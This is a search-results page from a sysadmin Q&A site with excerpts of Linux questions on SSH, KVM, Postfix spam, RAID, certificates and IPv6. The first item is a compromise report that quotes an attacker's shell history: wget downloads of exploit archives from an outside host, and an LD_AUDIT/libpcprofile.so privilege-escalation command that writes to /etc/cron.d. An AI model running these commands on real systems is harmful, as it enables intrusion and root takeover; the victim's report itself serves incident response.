Search Results

Search found 2366 results on 95 pages for 'cat mitch'.

Page 74/95 | < Previous Page | 70 71 72 73 74 75 76 77 78 79 80 81  | Next Page >

• Ubuntu Server hack

  - by haxpanel

  Hi! I looked at netstat and I noticed that someone besides me is connected to the server by ssh. I looked after this because my user has the only one ssh access. I found this in an ftp user .bash_history file: w uname -a ls -a sudo su wget qiss.ucoz.de/2010/.jpg wget qiss.ucoz.de/2010.jpg tar xzvf 2010.jpg rm -rf 2010.jpg cd 2010/ ls -a ./2010 ./2010x64 ./2.6.31 uname -a ls -a ./2.6.37-rc2 python rh2010.py cd .. ls -a rm -rf 2010/ ls -a wget qiss.ucoz.de/ubuntu2010_2.jpg tar xzvf ubuntu2010_2.jpg rm -rf ubuntu2010_2.jpg ./ubuntu2010-2 ./ubuntu2010-2 ./ubuntu2010-2 cat /etc/issue umask 0 dpkg -S /lib/libpcprofile.so ls -l /lib/libpcprofile.so LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/cron.d/exploit" ping ping gcc touch a.sh nano a.sh vi a.sh vim wget qiss.ucoz.de/ubuntu10.sh sh ubuntu10.sh nano ubuntu10.sh ls -a rm -rf ubuntu10.sh . .. a.sh .cache ubuntu10.sh ubuntu2010-2 ls -a wget qiss.ucoz.de/ubuntu10.sh sh ubuntu10.sh ls -a rm -rf ubuntu10.sh wget http://download.microsoft.com/download/win2000platform/SP/SP3/NT5/EN-US/W2Ksp3.exe rm -rf W2Ksp3.exe passwd The system is in a jail. Does it matter in the current case? What shall i do? Thanks for everyone!! I have done these: - ban the connected ssh host with iptables - stoped the sshd in the jail - saved: bach_history, syslog, dmesg, files in the bash_history's wget lines

  Read the article

• Access to File being restricted after Ubuntu crashed

  - by Tim

  My Ubuntu 8.10 crashed due to the overheating problem of the CPU when I am opening some directory and intend to do some file transfer under Nautilus. After reboot, under gnome, all the files cannot be removed, their properties cannot be viewed and they can only be opened, although all are still fine under terminal. I was wondering why is that and how can I fix it? Thanks and regards UPdate $ cat /etc/mtab /dev/sda7 / ext3 rw,relatime,errors=remount-ro 0 0 tmpfs /lib/init/rw tmpfs rw,nosuid,mode=0755 0 0 /proc /proc proc rw,noexec,nosuid,nodev 0 0 sysfs /sys sysfs rw,noexec,nosuid,nodev 0 0 varrun /var/run tmpfs rw,nosuid,mode=0755 0 0 varlock /var/lock tmpfs rw,noexec,nosuid,nodev,mode=1777 0 0 udev /dev tmpfs rw,mode=0755 0 0 tmpfs /dev/shm tmpfs rw,nosuid,nodev 0 0 devpts /dev/pts devpts rw,noexec,nosuid,gid=5,mode=620 0 0 fusectl /sys/fs/fuse/connections fusectl rw 0 0 lrm /lib/modules/2.6.27-15-generic/volatile tmpfs rw,mode=755 0 0 /dev/sda8 /home ext3 rw,relatime 0 0 /dev/sda2 /windows-c vfat rw,utf8,umask=007,gid=46 0 0 /dev/sda5 /windows-d fuseblk rw,allow_other,blksize=4096 0 0 securityfs /sys/kernel/security securityfs rw 0 0 binfmt_misc /proc/sys/fs/binfmt_misc binfmt_misc rw,noexec,nosuid,nodev 0 0 gvfs-fuse-daemon /home/tim/.gvfs fuse.gvfs-fuse-daemon rw,nosuid,nodev,user=tim 0 0

  Read the article

• KVM and libvirt: How to configure a new disc device to an existing VM?

  - by initall

  I've got an Ubuntu 9.04 server running two VM's. In /etc/libvirt/qemu/machine1.xml two disk devices are defined like this: <devices> <emulator>/usr/bin/kvm</emulator> <disk type='file' device='disk'> <source file='/vserver/machine1/disk0.qcow2'/> <target dev='hda' bus='ide'/> </disk> <disk type='file' device='disk'> <source file='/vserver/machine1/disk1.qcow2'/> <target dev='hdb' bus='ide'/> </disk> I need more storage space in at least one of the devices and thought about adding a third hdc device by simply adding one with same style as above and re-organising my mount structure (The virtual sizes of the current qcow2 files are unfortunately limited.) My problem is that reloading libvirtd and restarting the VM do not result in a new visible device (checked with fdisk). I'm aware of extending an existing qcow2 file (converting to raw format, cat-ing/adding the new one, using smth. like gparted) - but only as a last resort. Hopefully it's something very simple I'm missing?

  Read the article

• IP queue buffer

  - by summerbulb

  I seem to have an issue with IP queue. I have a linux machine that I am using to run some experiments. The linux machine is configured to be a router, having two NICs, connecting two other computers, and managing their network traffic. All incoming packages are captured, using iptables, and analyzed by a C application. The application analyzing the packets has a built-in delay, as part of the experiment. So I have one very fast computer sending packets through my linux-router and a (relatively) slow linux-router that analyses and deals with the packets, one by one. This situation leads to the fact that when I fire up a sender application on one of the computers connected to the linux-router, my IP queue on the linux-router gets filled up (almost) instantaneously. The IP queue's max length is currently set to 1024, and if it overflows, the packets are dropped. This is expected and i'm OK with it. But, (and this is where it gets interesting), every now and then I get the following error: "Failed to receive netlink message: No buffer space available" At start, I thought this was due to the IP queue overflow, but after some analysis i found that sometimes I get the error even if the IP queue buffer did not overflow, and sometime I DON'T get the message even though the buffer DID overflow. When I run > cat /proc/net/ip_queue, I get the following table (also used to monitor the IP queue overflow): Peer PID : 27389 Copy mode : 2 Copy range : 65535 Queue length : 0 Queue max. length : 1024 Queue dropped : 1166875 Netlink dropped : 2916 Looking at the last two values, Queue dropped seems to refer to packets that did not manage to get into the IP queue because the buffer was full. I can see this value rise as I bombard the linux-router. Netlink dropped ( as it's name implies :) ) seems to have to do with the error i'm getting. I did my best to search for material on this error, but wasn't able to find anything that seemed to point me in the required direction. Bottom line: Why am I getting this error and what can I do to avoid it?

  Read the article

• Postfix message ID originating process?

  - by Anders Braüner Nielsen

  Last night my postfix mail server(Debian Squeeze with dovecot, roundcube, opendkim and spamassassin enabled) started sending out spam from a single domain of mine like these: $cat mail.log|grep D6930B76EA9 Jul 31 23:50:09 myserver postfix/pickup[28675]: D6930B76EA9: uid=65534 from=<[email protected]> Jul 31 23:50:09 myserver postfix/cleanup[27889]: D6930B76EA9: message-id=<[email protected]> Jul 31 23:50:09 myserver postfix/qmgr[7018]: D6930B76EA9: from=<[email protected]>, size=957, nrcpt=1 (queue active) Jul 31 23:50:09 myserver postfix/error[7819]: D6930B76EA9: to=<[email protected]>, relay=none, delay=0.03, delays=0.02/0/0/0, dsn=4.4.2, status=deferred (delivery temporarily suspended: lost connection with mta5.am0.yahoodns.net[66.196.118.33] while sending RCPT TO) The domain in question did not have any accounts enabled but only a catchall alias set through postfixadmin - most emails were send from a specific address I use frequently but some were also sent from bogus addresses. None of the other virtual domains handled by postfix were affected. How can I find out what process was feeding postfix/sendmail or more info on where they originated? As far as I can tell php mail() wasn't used and I've run several open relay tests. I did a little tinkering(removed winbind from the server and ipv6 addresses from main.cf) after the attack and it seems to have subsided but I still have no idea how my server was suddenly sending out spam. Maybe I fixed it - maybe I didn't. Can anyone help figuring out how I was compromised? Anywhere else I should look? I've run Linux Malware Detect on recently changed files but nothing found.

  Read the article

• SSH Interactive mode not working

  - by Ekin Koc

  I have a Debian based linux server running for a year or so, without any problems. A couple of days ago, ssh interactive mode stopped working for no reason. I mean, I can open an ssh connection just fine, the server greets me with shell but I just can't type anything. However, if I send commands like this: ssh [email protected] cat /var/log/messages, I get the response. I dug through several logs and found one message, which feels remotely relevant to the problem; sh kernel: [10222733.062511] ------------[ cut here ]------------ sh kernel: [10222733.062522] WARNING: at /build/buildd-linux-2.6_2.6.32-39-amd64-7yVIH2/linux-2.6-2.6.32/debian/build/source_amd64_none/drivers/char/tty_ldisc.c:738 tty_ldisc_reinit+0x46/0x7b() sh kernel: [10222733.062526] Hardware name: PowerEdge R210 II sh kernel: [10222733.062528] Modules linked in: ipt_MASQUERADE iptable_nat nf_nat nf_conntrack_ipv4 nf_conntrack nf_defrag_ipv4 ip_tables x_tables sha1_generic arc4 ecb ppp_mppe ppp_async crc_ccitt ppp_generic slhc loop snd_pcm snd_timer snd soundcore snd_page_alloc i2c_i801 i2c_core pcspkr evdev joydev dcdbas container button processor ext3 jbd mbcache sg sd_mod sr_mod crc_t10dif cdrom usb_storage usbhid hid mpt2sas ahci ehci_hcd libata scsi_transport_sas usbcore bnx2 nls_base scsi_mod fan thermal thermal_sys [last unloaded: scsi_wait_scan] sh kernel: [10222733.062568] Pid: 8662, comm: sshd Not tainted 2.6.32-5-amd64 #1 sh kernel: [10222733.062569] Call Trace: sh kernel: [10222733.062572] [<ffffffff811ff056>] ? tty_ldisc_reinit+0x46/0x7b sh kernel: [10222733.062574] [<ffffffff811ff056>] ? tty_ldisc_reinit+0x46/0x7b Is there any way to get back the sshd working in interactive mode? I tried restarting sshd but that is no help. And somehow, I can not reboot the server. Tried sending shutdown -r now and reboot but it refuses to go down. Should I go ahead and request a physical reboot?

  Read the article

• Certificates required for WHQL-certified drivers

  - by Kasius

  The 64-bit Windows 7 image that we deploy to machines at our site does not contain all of the certificates included on a default Windows image. Automatic root certificate installation is also disabled per policy from higher in the organization. We have had a lot of trouble installing many WHQL-certified drivers from reputable companies (ex. HP, Lexmark, Dell, etc.), and I hypothesize that a required certificate is missing from one of the certificate stores on the machine. The error we typically get is: The driver cannot be installed because it is either not digitally signed or not signed in the appropriate manner. I know that it is signed. A .CAT file is included, and it has the following tree from top to bottom: Microsoft Root Authority (thumbprint a4 34 89 15 9a 52 0f 0d 93 d0 32 cc af 37 e7 fe 20 a8 b4 19) Microsoft Windows Hardware Compatibility PCA (thumbprint 93 b8 d8 82 0a 32 db 20 a5 ea b6 8d 86 ad 67 8e fa 14 ea 41) Microsoft Windows Hardware Compatibility Publisher (thumprint b0 50 45 45 42 4e be 2c 16 2f 62 5b bf 5a e6 9b 96 bf 0b 0b) What certificates are required to install WHQL-certified drivers? Is it possibly something other than certificates? Thanks! NOTE: I have posted this question on Technet as well, but honestly, I've never had a lot of luck posting questions on the Technet forums.

  Read the article

• unable to recover data from failed hdd

  - by Eslam Elyamany

  my hdd failing (or maybe totally dead) i've connected the hdd via USB but it doesn't appear in fdisk Disk /dev/sda: 500.1 GB, 500107862016 bytes 255 heads, 63 sectors/track, 60801 cylinders, total 976773168 sectors Units = sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 4096 bytes I/O size (minimum/optimal): 4096 bytes / 4096 bytes Disk identifier: 0xe9fb38fb Device Boot Start End Blocks Id System /dev/sda1 * 2048 206847 102400 7 HPFS/NTFS/exFAT /dev/sda2 206848 40959999 20376576 7 HPFS/NTFS/exFAT /dev/sda4 40962046 976771071 467904513 5 Extended Partition 4 does not start on physical sector boundary. /dev/sda5 82913280 86910975 1998848 82 Linux swap / Solaris /dev/sda6 86913024 394113023 153600000 7 HPFS/NTFS/exFAT /dev/sda7 40962048 82913279 20975616 83 Linux /dev/sda8 394122708 976768064 291322678+ 7 HPFS/NTFS/exFAT Partition 8 does not start on physical sector boundary. no sdc appears here , BUT it's appears on /dev/ rootghost-lap:/home/ghost# ls /dev/sd* /dev/sda /dev/sda2 /dev/sda5 /dev/sda8 /dev/sdb /dev/sdc1 /dev/sdc2 /dev/sdc6 /dev/sdc8 /dev/sda1 /dev/sda4 /dev/sda6 /dev/sda9 /dev/sdc /dev/sdc10 /dev/sdc5 /dev/sdc7 /dev/sdc9 also it appears in proc Code: rootghost-lap:/home/ghost# cat /proc/partitions major minor #blocks name 8 0 488386584 sda 8 1 102400 sda1 8 2 20376576 sda2 8 4 1 sda4 8 5 1998848 sda5 8 6 153600000 sda6 8 8 291322678 sda8 8 9 20975616 sda9 11 0 1048575 sr0 11 1 99136 sr1 8 32 244198583 sdc 8 33 14651248 sdc1 8 34 1 sdc2 8 37 15380480 sdc5 8 38 4153344 sdc6 8 39 48829536 sdc7 8 40 48829536 sdc8 8 41 110374551 sdc9 8 42 1975963 sdc10 and dmesg : [10604.777168] end_request: I/O error, dev sdc, sector 1 [10604.817238] sd 26:0:0:0: [sdc] Result: hostbyte=DID_OK driverbyte=DRIVER_SENSE [10604.817243] sd 26:0:0:0: [sdc] Sense Key : Aborted Command [current] [10604.817248] sd 26:0:0:0: [sdc] Add. Sense: No additional sense information [10604.817253] sd 26:0:0:0: [sdc] CDB: Read(10): 28 00 00 00 00 02 00 00 06 00 ok now , let's see what i've tried testdisk to check for partitions -- failed dd to copy data from /dev/sdcX -- provide strange output size for example /dev/sdc1 is about 15G , the output for dd is 62G+ so i had to cancle it safecopy successfully made an image for partitons , but can't fix images, can't mount it, can't do any thing with it and some other tools i've tried and all failed , so any idea ?

  Read the article

• Restrict SSH user to connection from one machine

  - by Jonathan

  During set-up of a home server (running Kubuntu 10.04), I created an admin user for performing administrative tasks that may require an unmounted home. This user has a home directory on the root partition of the box. The machine has an internet-facing SSH server, and I have restricted the set of users that can connect via SSH, but I would like to restrict it further by making admin only accessible from my laptop (or perhaps only from the local 192.168.1.0/24 range). I currently have only an AllowGroups ssh-users with myself and admin as members of the ssh-users group. What I want is something that works like you may expect this setup to work (but it doesn't): $ groups jonathan ... ssh-users $ groups admin ... ssh-restricted-users $ cat /etc/ssh/sshd_config ... AllowGroups ssh-users [email protected].* ... Is there a way to do this? I have also tried this, but it did not work (admin could still log in remotely): AllowUsers [email protected].* * AllowGroups ssh-users with admin a member of ssh-users. I would also be fine with only allowing admin to log in with a key, and disallowing password logins, but I could find no general setting for sshd; there is a setting that requires root logins to use a key, but not for general users.

  Read the article

• Route all wlan0 traffic over tun0

  - by Tuinslak

  I'm looking for a way to route all wlan0 traffic (tcp and udp) over tun0 (openvpn). However, all other traffic originating from the device itself should not be routed through tun0. I'm guessing this could be realized using iptables or route, but none of my options seem to work. # route add -net 0.0.0.0 gw 172.27.0.1 dev wlan0 SIOCADDRT: No such process Info: This is because the VPN server is not redundant, and wlan users are not really important. However, all services running on the device are fairly important and having a VPN virtual machine with no SLA on it is just a bad idea. Trying to minimize the odds of something going wrong. So setting the VPN server as default gateway is not really an option. I also want all wlan0 user to use the VPN server's IP address as external IP. Edit with the script provided: root@ft-genesi-xxx ~ # route -n Kernel IP routing table Destination Gateway Genmask Flags Metric Ref Use Iface 172.27.0.17 0.0.0.0 255.255.255.255 UH 0 0 0 tun0 192.168.1.0 0.0.0.0 255.255.255.0 U 0 0 0 eth0 10.13.37.0 0.0.0.0 255.255.255.0 U 0 0 0 wlan0 172.27.0.0 172.27.0.17 255.255.192.0 UG 0 0 0 tun0 0.0.0.0 192.168.1.1 0.0.0.0 UG 0 0 0 eth0 root@ft-genesi-xxx ~ # ./test.sh RTNETLINK answers: No such process root@ft-genesi-xxx ~ # cat test.sh #!/bin/sh IP=/sbin/ip # replace with the range of your wlan network, or use fwmark instead ${IP} rule add from 10.13.37.0/24 table from-wlan ${IP} route add default dev tun0 via 127.72.0.1 table from-wlan ${IP} route add 10.13.37.0/24 dev wlan0 table from-wlan

  Read the article

• User http does not have write permissions directory?

  - by dwieeb

  I have a bit of an odd set up, I think. I have groups for each domain my server hosts, and I add the user http to each domain group along with the users that should have access to the groups' domains. In my php script running from a directory 'public_html', I try creating a file: <?php $output = ""; print exec('touch test 2>&1', $output); But I get touch: cannot touch `test': Permission denied and the file is not created. But here, clearly stated, the group has all permissions on the directory: drwxrwxr-x 5 dwieeb example.com 1024 Feb 4 05:19 public_html And here are the permissions on the php file in public_html that is trying to use the exec function: -rw-rw-r-- 1 dwieeb example.com 59 Feb 4 05:19 test.php How is this possible if http is part of the example.com group (as seen from a cat on /etc/group) and the directory has full permissions for the group? ... example.com:x:1000:dwieeb,http I'm stumped. EDIT (since apparently I'm not cool enough to answer my own questions yet): Ah, I found the problem. Yes, I restarted Nginx, but the php-fpm daemon must be restarted as well when http is added to the group for my domain. On Arch Linux: rc.d restart php-fpm

  Read the article

• How to force mdadm to stop RAID5 array?

  - by lucek

  I have /dev/md127 RAID5 array that consisted of four drives. I managed to hot remove them from the array and currently /dev/md127 does not have any drives: cat /proc/mdstat Personalities : [linear] [multipath] [raid0] [raid1] [raid6] [raid5] [raid4] [raid10] md0 : active raid1 sdd1[0] sda1[1] 304052032 blocks super 1.2 [2/2] [UU] md1 : active raid0 sda5[1] sdd5[0] 16770048 blocks super 1.2 512k chunks md127 : active raid5 super 1.2 level 5, 512k chunk, algorithm 2 [4/0] [____] unused devices: <none> and mdadm --detail /dev/md127 /dev/md127: Version : 1.2 Creation Time : Thu Sep 6 10:39:57 2012 Raid Level : raid5 Array Size : 8790402048 (8383.18 GiB 9001.37 GB) Used Dev Size : 2930134016 (2794.39 GiB 3000.46 GB) Raid Devices : 4 Total Devices : 0 Persistence : Superblock is persistent Update Time : Fri Sep 7 17:19:47 2012 State : clean, FAILED Active Devices : 0 Working Devices : 0 Failed Devices : 0 Spare Devices : 0 Layout : left-symmetric Chunk Size : 512K Number Major Minor RaidDevice State 0 0 0 0 removed 1 0 0 1 removed 2 0 0 2 removed 3 0 0 3 removed I've tried to do mdadm --stop /dev/md127 but: mdadm --stop /dev/md127 mdadm: Cannot get exclusive access to /dev/md127:Perhaps a running process, mounted filesystem or active volume group? I made sure that it's unmounted, umount -l /dev/md127 and confirmed that it indeed is unmounted: umount /dev/md127 umount: /dev/md127: not mounted I've tried to zero superblock of each drive and I get (for each drive): mdadm --zero-superblock /dev/sde1 mdadm: Unrecognised md component device - /dev/sde1 Here's output of lsof|grep md127: lsof|grep md127 md127_rai 276 root cwd DIR 9,0 4096 2 / md127_rai 276 root rtd DIR 9,0 4096 2 / md127_rai 276 root txt unknown /proc/276/exe What else can I do? LVM is not even installed so it can't be a factor.

  Read the article

• CentOS 6.5 x64 + Ajendi +nginx + php-fpm + mysql setup unable to load the PHP page

  - by Francis

  I'm using Ajendi to setup a PHP web server, I can load the PHP info page, when I try to load the PHP copy from other server, I get a blank page with this log appear on access log, I have no clue what was wrong and troubleshoot further, please advice. x.x.x.x - - [28/May/2014:10:08:37 -0400] "GET /index.php HTTP/1.1" 200 31 "-" "Mozilla/5.0 (Windows NT 6.1; rv:29.0) Gecko/20100101 Firefox/29.0" 2.6.32-431.1.2.0.1.el6.x86_64 cat /etc/redhat-release CentOS release 6.5 (Final) The vhost config AUTOMATICALLY GENERATED - DO NO EDIT! server { listen *:80; server_name test.com www.test.com; access_log /var/log/nginx/access.log; error_log /var/log/nginx/error.log; root /www; index index.html index.htm index.php; location ~ \.php$ { alias /www; fastcgi_index index.php; include fcgi.conf; fastcgi_pass unix:/var/run/php-fcgi-php-fcgi-0.sock; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; } }

  Read the article

• Failing to load rootfs: Ubuntu 10 + grub2 + rootfs ext4 w/ RAID1

  - by James

  I am having problems booting a new Ubuntu 10 (server) install. My primary HD (/dev/sda) is laid out as follows: Device Boot Start End Blocks Id System /dev/sda1 * 1 18 144553+ 83 Linux <-- /BOOT /dev/sda2 19 182401 1464991447+ 5 Extended /dev/sda5 19 2207 17583111 fd Linux raid autodetect /dev/sda6 2208 11934 78132096 fd Linux raid autodetect <-- / (ROOTFS) /dev/sda7 11935 182401 1369276146 fd Linux raid autodetect The rootfs is part of a RAID1 (software) array (currently degraded): # cat /proc/mdstat Personalities : [linear] [multipath] [raid0] [raid1] [raid6] [raid5] [raid4] [raid10] md2 : active raid1 sda6[1] 78132032 blocks [2/1] [_U] The UUIDs for the partitions are as follows: # blkid /dev/sda1 /dev/sda1: UUID="b25dd301-41b9-4f4d-9b0a-0e31713dd74c" TYPE="ext2" # blkid /dev/sda6 /dev/sda6: UUID="af7b9ede-fa53-c0c1-74be-31ec752c5cd5" TYPE="linux_raid_member" # blkid /dev/md2 /dev/md2: UUID="a0602d42-6855-482f-870c-6f6ecdcdae3f" TYPE="ext4" Finally, I have my grub2 menuentry setup as follows: ### BEGIN /etc/grub.d/10_linux ### menuentry 'Ubuntu, with Linux 2.6.32-25-server' --class ubuntu --class gnu-linux --class gnu --class os { insmod ext2 insmod raid insmod mdraid set root='(hd0,1)' search --no-floppy --fs-uuid --set b25dd301-41b9-4f4d-9b0a-0e31713dd74c linux /vmlinuz-2.6.32-25-server root=UUID=a0602d42-6855-482f-870c-6f6ecdcdae3f ro nosplash noplymouth initrd /initrd.img-2.6.32-25-server } When I attempt to boot, grub loads OK, however I eventually get the following error message: Gave up waiting for root device. ALERT /dev/disk/by-uuid/a0602d42-6855-482f-870c-6f6ecdcdae3f does not exist. Dropping to a shell! If from the grub bootloader I open a grub command line, I can ls (hd0,) and it lists the correct partitions with the UUIDs as shown above - sda6 shows 'a0602d42-6855-482f-870c-6f6ecdcdae3f' (the RAID UUID). If I ls (md2)/ it properly lists all the files on the RAID1 filesystem (ext4) so it doesn't appear to be an issue accessing the raid device. Does anyone have any suggestions as to what the problem might be? I can't figure this one out.

  Read the article

• Configuring postfix with Gmail

  - by MultiformeIngegno

  This is what I did.. sudo apt-get install postfix This is my /etc/postfix/main.cf: # See /usr/share/postfix/main.cf.dist for a commented, more complete version # Debian specific: Specifying a file name will cause the first # line of that file to be used as the name. The Debian default # is /etc/mailname. #myorigin = /etc/mailname smtpd_banner = $myhostname ESMTP $mail_name (Ubuntu) biff = no # appending .domain is the MUA's job. append_dot_mydomain = no # Uncomment the next line to generate "delayed mail" warnings #delay_warning_time = 4h readme_directory = no # TLS parameters smtpd_tls_cert_file=/etc/ssl/certs/ssl-cert-snakeoil.pem smtpd_tls_key_file=/etc/ssl/private/ssl-cert-snakeoil.key smtpd_use_tls=no smtpd_tls_session_cache_database = btree:${data_directory}/smtpd_scache smtp_tls_session_cache_database = btree:${data_directory}/smtp_scache myhostname = tsXXX561.server.topcloud.it alias_maps = hash:/etc/aliases alias_database = hash:/etc/aliases myorigin = /etc/mailname mydestination = relayhost = [smtp.gmail.com]:587 mynetworks = 127.0.0.0/8 [::ffff:127.0.0.0]/104 [::1]/128 mailbox_size_limit = 0 recipient_delimiter = + inet_interfaces = loopback-only default_transport = smtp relay_transport = smtp inet_protocols = all # SASL Settings smtp_use_tls=yes smtp_sasl_auth_enable = yes smtp_sasl_password_maps = hash:/etc/postfix/sasl_passwd smtp_sasl_security_options = noanonymous smtp_sasl_tls_security_options = noanonymous smtp_tls_CAfile = /etc/postfix/cacert.pem Then I created the file /etc/mailname with my hostname as content: tsXXX561.server.topcloud.it Then I created the file /etc/postfix/sasl_passwd: [smtp.gmail.com]:587 [email protected]:gmail_password Then sudo postmap /etc/postfix/sasl/passwd sudo cat /etc/ssl/certs/Thawte_Premium_Server_CA.pem | sudo tee -a /etc/postfix/cacert.pem service postfix restart Still sends nothing... I'm on Ubuntu Server 12.04.

  Read the article

• Removing a device in "removed" state from Linux software RAID array

  - by Sahasranaman MS

  My workstation has two disks(/dev/sd[ab]), both with similar partitioning. /dev/sdb failed, and cat /proc/mdstat stopped showing the second sdb partition. I ran mdadm --fail and mdadm --remove for all partitions from the failed disk on the arrays that use them, although all such commands failed with mdadm: set device faulty failed for /dev/sdb2: No such device mdadm: hot remove failed for /dev/sdb2: No such device or address Then I hot swapped the failed disk, partitioned the new disk and added the partitions to the respective arrays. All arrays got rebuilt properly except one, because in /dev/md2, the failed disk doesn't seem to have been removed from the array properly. Because of this, the new partition keeps getting added as a spare to the partition, and its status remains degraded. Here's what mdadm --detail /dev/md2 shows: [root@ldmohanr ~]# mdadm --detail /dev/md2 /dev/md2: Version : 1.1 Creation Time : Tue Dec 27 22:55:14 2011 Raid Level : raid1 Array Size : 52427708 (50.00 GiB 53.69 GB) Used Dev Size : 52427708 (50.00 GiB 53.69 GB) Raid Devices : 2 Total Devices : 2 Persistence : Superblock is persistent Intent Bitmap : Internal Update Time : Fri Nov 23 14:59:56 2012 State : active, degraded Active Devices : 1 Working Devices : 2 Failed Devices : 0 Spare Devices : 1 Name : ldmohanr.net:2 (local to host ldmohanr.net) UUID : 4483f95d:e485207a:b43c9af2:c37c6df1 Events : 5912611 Number Major Minor RaidDevice State 0 8 2 0 active sync /dev/sda2 1 0 0 1 removed 2 8 18 - spare /dev/sdb2 To remove a disk, mdadm needs a device filename, which was /dev/sdb2 originally, but that no longer refers to device number 1. I need help with removing device number 1 with 'removed' status and making /dev/sdb2 active.

  Read the article

• Require a very simple bash-based webserver for logging XML POST [on hold]

  - by Syffys

  As in title, it's for testing purpose and I need it to be extremely light (1 line to 1 single light file). Here is a XML query sample: XML_QUERY=$(cat <<EOF <?xml version='1.0' encoding='UTF-8'?> <Test></Test> EOF ) curl -H "Content-type: text/xml; charset=utf-8" -H "Soapaction: \"\"" -k -d "${XML_QUERY}" http://localhost:8088 Here are some of the tracks I have found so far even if I wasnt able to adapt them to work as I expect: Netcat minimal webserver: Problem is that my nc does not have the -q option, so the connection is closing before delivering the XML content Netcat Only webserver: Same as above Thanks in advance! EDIT: As it's been asked, I'm running Linux Redhat, even if the distro does not really matter and the OS implied since I'm asking a bash-based solution... Also about my topic being on hold: "Instead, describe your situation and the specific problem you're trying to solve" = I though this was exactly what I was doing, but ok I'll reword: My situation: bash environment (which can also include some standard linux tool: netcat, python or whatever) My specific problem: please see title: Require a very simple bash-based webserver for logging XML in HTTP POST for testing purpose

  Read the article

• Generalized strategy for file server virtualization in Xenserver

  - by Jamie

  I'm not shopping as much as I'm looking for some guidance on good idea / bad idea strategies. I'm sure I'm not in the "best practices" budget range. Currently, I have 3 dell poweredges running xenserver in a pool. Each node has a ubuntu file server, serving about 6TB. One is the primary, the other two are rsync targets for backup. The 6TB is stored on their respective local storage disks as an LVM of 3x2tb virtual disks. The fileserver VM disks are also stored on the node local disks. Each node also runs a smattering of light-weight VMs for web, development, windows VMs, and stuff like that. Several of those VM's disks reside on a QNAP NAS to play with live migration. These VM's are often clients of the primary file server (like all the mail, web content, user files are stored on the file server, not on the mail, web, and samba VMs). This all works fine, and is a major step up for us. The downside is that the QNAP is a single point of failure. And the only thing the QNAP is doing is serving migratable VM images, not client data. Someday the poweredge local arrays will be full, and we will have to reinvent ourselves again. Is it wise to have heavywieght vms (like the fileserver, with its 6+ TB disks) on a SAN or NAS? Would it be better to keep the VMs lightweight, have the VM images on a SAN or NAS, and use 2 or more NAS act as NFS-serving file appliances? A hybrid SAN/NAS that can serve iscsi for images and NFS for the client vms? It seems like live-magration would be a misnomer if you have to migrate a fileserver with its entire 6+ TB disk. I recognize there are plenty of ways to skin the cat. We've already skinned it a few ways. What makes sense?

  Read the article

• How to calibrate ASUS k52f battery on Ubuntu?

  - by cutalion

  I'm not sure if the problem is in software or my battery is dying, I'll move my question to another forum if it's not a SO question I have a problem with the battery on my laptop - ASUS K52F. It shows incorrect information about capacity. When I unplug the charger it can work some time, but then it will power off without any warnings. Sometimes it will power off right after I unplug the charger. Here is some info I could get: > uname -a Linux alligator 3.5.0-18-generic #29-Ubuntu SMP Fri Oct 19 10:26:51 UTC 2012 x86_64 x86_64 x86_64 GNU/Linux > acpi -i Battery 0: Charging, 99%, 18:25:15 until charged Battery 0: design capacity 5235 mAh, last full capacity 69964 mAh = 100% > cat /sys/class/power_supply/BAT0/uevent POWER_SUPPLY_NAME=BAT0 POWER_SUPPLY_STATUS=Charging POWER_SUPPLY_PRESENT=1 POWER_SUPPLY_TECHNOLOGY=Li-ion POWER_SUPPLY_CYCLE_COUNT=0 POWER_SUPPLY_VOLTAGE_MIN_DESIGN=10800000 POWER_SUPPLY_VOLTAGE_NOW=9246000 POWER_SUPPLY_POWER_NOW=176000 POWER_SUPPLY_ENERGY_FULL_DESIGN=**48400000** POWER_SUPPLY_ENERGY_FULL=**646822000** POWER_SUPPLY_ENERGY_NOW=**643588000** POWER_SUPPLY_MODEL_NAME=K52F-44 POWER_SUPPLY_MANUFACTURER=ASUSTek POWER_SUPPLY_SERIAL_NUMBER= I noticed, that POWER_SUPPLY_ENERGY_NOW and POWER_SUPPLY_ENERGY_FULL are greater than POWER_SUPPLY_ENERGY_FULL_DESIGN. I don't think it's ok :) I can run any additional commands.

  Read the article

• Over gigabit connection, Teracopy does 31MB/s, but Windows 8 does it at ~109MB per second?

  - by Gaurang

  I got my brain-melting first taste of Gigabit networking today, between my 2011 MacMini and Windows 8 Pro desktop connected via Cat.5e to Linksys WRT320N(sporting dd-WRT). After making sure that the line speed on both systems showed 1Gbps, I proceeded to copying a 2.4GB MP4 from the Mini to the Win 8 desktop (SMB sharing). Although satisfied with the 30-34 MB/s that Teracopy was showing (that was a proper step-up for me from 10 MB/s), I still was curious about this massive difference in the advertised and real-world speed. 2 hours of Google had me believing that there were other factors that resulted in less speed, SMB being one. So just for the sake of doing it, I iPerf'd both the systems and guess what that showed - around 875mbps on both systems! I then stumbled upon this little piece of info after which I turned off Teracopy and copied the same file through Windows 8's regular copier. 109 MB/s. Molten brains :) What exactly is causing this? And can I enable such speeds via Teracopy? I really dig the extra features that Teracopy has, will surely miss them now :D

  Read the article

• Configure static IPv6 on Ubuntu

  - by Charles Offenbacher

  I'm trying to configure IPv6 on a dedicated Ubuntu server. My provider gave me a "/64" (whatever that is - I'm still confused) of IPv6 addresses. However, when I try to use them, I can't ping anything. What do I do? :( # ping6 ipv6.google.com PING ipv6.google.com(vx-in-x63.1e100.net) 56 data bytes From fe80::219:d1ff:fefb:42d8 icmp_seq=1 Destination unreachable: Address unreachable From fe80::219:d1ff:fefb:42d8 icmp_seq=2 Destination unreachable: Address unreachable From fe80::219:d1ff:fefb:42d8 icmp_seq=3 Destination unreachable: Address unreachable --- ipv6.google.com ping statistics --- 3 packets transmitted, 0 received, +3 errors, 100% packet loss, time 2014ms # tracepath6 ipv6.google.com 1?: [LOCALHOST] 0.025ms pmtu 1500 1: fe80::219:d1ff:fefb:42d8%eth0 2000.022ms !H Resume: pmtu 1500 # cat /etc/network/interfaces # The loopback network interface auto lo iface lo inet loopback # The primary network interface auto eth0 iface eth0 inet static address 64.***.***.*** netmask 255.255.255.248 gateway 64.***.***.*** iface eth0 inet6 static pre-up modprobe ipv6 address 2607:F878:1:***::1 netmask 64 gateway 2607:F878:1:***(same as address)::1 # ifconfig eth0 Link encap:Ethernet HWaddr 00:19:d1:fb:42:d8 inet addr:64.***.***.*** Bcast:64.***.***.*** 